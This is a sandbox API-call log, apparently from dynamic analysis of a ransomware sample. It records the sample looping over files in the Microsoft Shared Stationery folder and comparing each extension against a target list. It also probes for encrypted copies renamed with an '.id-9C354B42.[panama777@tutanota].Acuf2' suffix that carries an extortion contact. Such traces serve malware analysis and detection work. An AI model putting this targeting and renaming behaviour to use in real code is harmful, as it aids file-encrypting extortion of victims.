	[0047.546] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.546] lstrlenW (lpString=".zip") returned 4
	[0047.546] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString=".rar") returned 4
	[0047.546] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0047.546] lstrlenW (lpString=".bz2") returned 4
	[0047.546] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0047.547] lstrlenW (lpString=".7z") returned 3
	[0047.547] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0047.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.547] lstrlenW (lpString=".dbf") returned 4
	[0047.547] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0047.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.547] lstrlenW (lpString=".1cd") returned 4
	[0047.547] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0047.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0047.547] lstrlenW (lpString=".jpg") returned 4
	[0047.547] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0047.547] lstrcmpiW (lpString1=".emf", lpString2=".Acuf2") returned 1
	[0047.547] lstrlenW (lpString="Dotted_Lines.emf") returned 16
	[0047.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.548] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=3792) returned 1
	[0047.548] CloseHandle (hObject=0x208) returned 1
	[0047.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20
	[0047.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.548] lstrlenW (lpString=".doc") returned 4
	[0047.548] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.548] lstrlenW (lpString=".docx") returned 5
	[0047.548] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1
	[0047.548] lstrlenW (lpString=".pdf") returned 4
	[0047.548] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.548] lstrlenW (lpString=".xls") returned 4
	[0047.548] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.548] lstrlenW (lpString=".xlsx") returned 5
	[0047.549] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1
	[0047.549] lstrlenW (lpString=".ppt") returned 4
	[0047.549] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString=".zip") returned 4
	[0047.549] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.549] lstrlenW (lpString=".rar") returned 4
	[0047.549] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.549] lstrlenW (lpString=".bz2") returned 4
	[0047.549] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.549] lstrlenW (lpString=".7z") returned 3
	[0047.549] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString=".dbf") returned 4
	[0047.549] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString=".1cd") returned 4
	[0047.549] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString=".jpg") returned 4
	[0047.549] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.549] lstrlenW (lpString=".doc") returned 4
	[0047.549] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.549] lstrlenW (lpString=".docx") returned 5
	[0047.549] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1
	[0047.549] lstrlenW (lpString=".pdf") returned 4
	[0047.549] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.550] lstrlenW (lpString=".xls") returned 4
	[0047.550] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.550] lstrlenW (lpString=".xlsx") returned 5
	[0047.550] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1
	[0047.550] lstrlenW (lpString=".ppt") returned 4
	[0047.550] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.550] lstrlenW (lpString=".zip") returned 4
	[0047.550] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.550] lstrlenW (lpString=".rar") returned 4
	[0047.550] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.550] lstrlenW (lpString=".bz2") returned 4
	[0047.550] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.550] lstrlenW (lpString=".7z") returned 3
	[0047.550] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.550] lstrlenW (lpString=".dbf") returned 4
	[0047.550] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.550] lstrlenW (lpString=".1cd") returned 4
	[0047.550] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0047.550] lstrlenW (lpString=".jpg") returned 4
	[0047.550] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.551] lstrcmpiW (lpString1=".htm", lpString2=".Acuf2") returned 1
	[0047.551] lstrlenW (lpString="Garden.htm") returned 10
	[0047.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.551] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=231) returned 1
	[0047.551] CloseHandle (hObject=0x208) returned 1
	[0047.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0047.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.551] lstrlenW (lpString=".doc") returned 4
	[0047.551] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.551] lstrlenW (lpString=".docx") returned 5
	[0047.551] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0047.551] lstrlenW (lpString=".pdf") returned 4
	[0047.551] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString=".xls") returned 4
	[0047.552] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString=".xlsx") returned 5
	[0047.552] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0047.552] lstrlenW (lpString=".ppt") returned 4
	[0047.552] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString=".zip") returned 4
	[0047.552] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString=".rar") returned 4
	[0047.552] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString=".bz2") returned 4
	[0047.552] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.552] lstrlenW (lpString=".7z") returned 3
	[0047.552] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString=".dbf") returned 4
	[0047.552] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString=".1cd") returned 4
	[0047.552] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString=".jpg") returned 4
	[0047.552] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.552] lstrlenW (lpString=".doc") returned 4
	[0047.552] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.553] lstrlenW (lpString=".docx") returned 5
	[0047.553] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0047.553] lstrlenW (lpString=".pdf") returned 4
	[0047.553] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.553] lstrlenW (lpString=".xls") returned 4
	[0047.553] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.553] lstrlenW (lpString=".xlsx") returned 5
	[0047.553] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0047.553] lstrlenW (lpString=".ppt") returned 4
	[0047.553] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.553] lstrlenW (lpString=".zip") returned 4
	[0047.553] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.553] lstrlenW (lpString=".rar") returned 4
	[0047.553] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.553] lstrlenW (lpString=".bz2") returned 4
	[0047.553] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.553] lstrlenW (lpString=".7z") returned 3
	[0047.553] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.553] lstrlenW (lpString=".dbf") returned 4
	[0047.553] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.553] lstrlenW (lpString=".1cd") returned 4
	[0047.553] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68
	[0047.553] lstrlenW (lpString=".jpg") returned 4
	[0047.553] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.554] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.554] lstrlenW (lpString="Garden.jpg") returned 10
	[0047.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.554] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=23871) returned 1
	[0047.554] CloseHandle (hObject=0x208) returned 1
	[0047.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0047.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.554] lstrlenW (lpString=".doc") returned 4
	[0047.554] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.554] lstrlenW (lpString=".docx") returned 5
	[0047.554] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0047.554] lstrlenW (lpString=".pdf") returned 4
	[0047.554] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.555] lstrlenW (lpString=".xls") returned 4
	[0047.555] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.555] lstrlenW (lpString=".xlsx") returned 5
	[0047.555] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0047.555] lstrlenW (lpString=".ppt") returned 4
	[0047.555] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString=".zip") returned 4
	[0047.555] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.555] lstrlenW (lpString=".rar") returned 4
	[0047.555] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.555] lstrlenW (lpString=".bz2") returned 4
	[0047.555] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.555] lstrlenW (lpString=".7z") returned 3
	[0047.555] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString=".dbf") returned 4
	[0047.555] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString=".1cd") returned 4
	[0047.555] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString=".jpg") returned 4
	[0047.555] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.555] lstrlenW (lpString=".doc") returned 4
	[0047.555] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.556] lstrlenW (lpString=".docx") returned 5
	[0047.556] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0047.556] lstrlenW (lpString=".pdf") returned 4
	[0047.556] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.556] lstrlenW (lpString=".xls") returned 4
	[0047.556] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.556] lstrlenW (lpString=".xlsx") returned 5
	[0047.556] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0047.556] lstrlenW (lpString=".ppt") returned 4
	[0047.556] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.556] lstrlenW (lpString=".zip") returned 4
	[0047.556] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.556] lstrlenW (lpString=".rar") returned 4
	[0047.556] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.556] lstrlenW (lpString=".bz2") returned 4
	[0047.556] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.556] lstrlenW (lpString=".7z") returned 3
	[0047.556] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.556] lstrlenW (lpString=".dbf") returned 4
	[0047.556] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.556] lstrlenW (lpString=".1cd") returned 4
	[0047.556] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0047.556] lstrlenW (lpString=".jpg") returned 4
	[0047.556] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.557] lstrcmpiW (lpString1=".emf", lpString2=".Acuf2") returned 1
	[0047.557] lstrlenW (lpString="Genko_1.emf") returned 11
	[0047.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.968] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=5524) returned 1
	[0047.968] CloseHandle (hObject=0x160) returned 1
	[0047.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20
	[0047.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.968] lstrlenW (lpString=".doc") returned 4
	[0047.968] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.968] lstrlenW (lpString=".docx") returned 5
	[0047.968] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1
	[0047.968] lstrlenW (lpString=".pdf") returned 4
	[0047.968] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.968] lstrlenW (lpString=".xls") returned 4
	[0047.968] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.968] lstrlenW (lpString=".xlsx") returned 5
	[0047.968] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1
	[0047.968] lstrlenW (lpString=".ppt") returned 4
	[0047.969] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString=".zip") returned 4
	[0047.969] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.969] lstrlenW (lpString=".rar") returned 4
	[0047.969] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.969] lstrlenW (lpString=".bz2") returned 4
	[0047.969] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.969] lstrlenW (lpString=".7z") returned 3
	[0047.969] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString=".dbf") returned 4
	[0047.969] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString=".1cd") returned 4
	[0047.969] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString=".jpg") returned 4
	[0047.969] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.969] lstrlenW (lpString=".doc") returned 4
	[0047.969] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.969] lstrlenW (lpString=".docx") returned 5
	[0047.969] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1
	[0047.969] lstrlenW (lpString=".pdf") returned 4
	[0047.969] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.970] lstrlenW (lpString=".xls") returned 4
	[0047.970] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.970] lstrlenW (lpString=".xlsx") returned 5
	[0047.970] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1
	[0047.970] lstrlenW (lpString=".ppt") returned 4
	[0047.970] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0047.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.970] lstrlenW (lpString=".zip") returned 4
	[0047.970] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0047.970] lstrlenW (lpString=".rar") returned 4
	[0047.970] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0047.970] lstrlenW (lpString=".bz2") returned 4
	[0047.970] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0047.970] lstrlenW (lpString=".7z") returned 3
	[0047.970] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0047.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.970] lstrlenW (lpString=".dbf") returned 4
	[0047.970] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0047.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.970] lstrlenW (lpString=".1cd") returned 4
	[0047.970] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0047.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0047.970] lstrlenW (lpString=".jpg") returned 4
	[0047.970] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0047.970] lstrcmpiW (lpString1=".htm", lpString2=".Acuf2") returned 1
	[0047.971] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0047.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.971] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=237) returned 1
	[0047.971] CloseHandle (hObject=0x160) returned 1
	[0047.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0047.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
